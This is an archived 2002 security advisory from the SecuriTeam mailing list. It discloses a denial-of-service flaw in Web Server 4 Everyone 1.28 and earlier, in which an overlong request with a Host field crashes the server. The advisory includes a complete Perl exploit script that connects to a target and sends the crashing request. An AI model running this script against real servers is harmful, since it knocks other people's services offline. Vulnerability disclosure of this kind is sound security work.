[NT] Web Server 4 Everyone Denial of Service Vulnerability (Host Field)

From: support@securiteam.com
Date: 10/24/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 24 Oct 2002 00:08:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Web Server 4 Everyone Denial of Service Vulnerability (Host Field)
------------------------------------------------------------------------

SUMMARY

 <http://www.freeware.lt/body_w4a_us.html> WebServer 4 Everyone is an easy
to use web server, however, a security vulnerability in the product allows
remote attackers to cause it to no longer respond to legitimate requests.

DETAILS

Vulnerable systems:
 * Web Server 4 Everyone version 1.28 and prior

The problem is that Web Server 4 Everyone does not do adequate bounds
checking. When an attacker sends a request with the size of 2000
characters and a "Host:" field that contains "127.0.0.1", the server will
crash. The Web server must be restarted to regain normal functionality.

Exploit:
#!/usr/bin/perl -w

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
$evil = "A" x 2000;

print "Web Server 4 Everyone v1.28 Host Field Denial of Service
Vulnerability by SecurityOffice\n";
print "Usage: $0 host port\n";
print "Connecting...\n";
$socket = IO::Socket::INET->
            new(Proto=>"tcp",
            PeerAddr=>$host,
            PeerPort=>$port)
            || die "Connection failed.\n";

print "Attacking...\n";
print $socket "GET /$evil HTTP/1.1\n Host: 127.0.0.1\n\n";

close($socket);
print "\nConnection closed. Finished.\n\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:ts@securityoffice.net> Tamer
Sahin.

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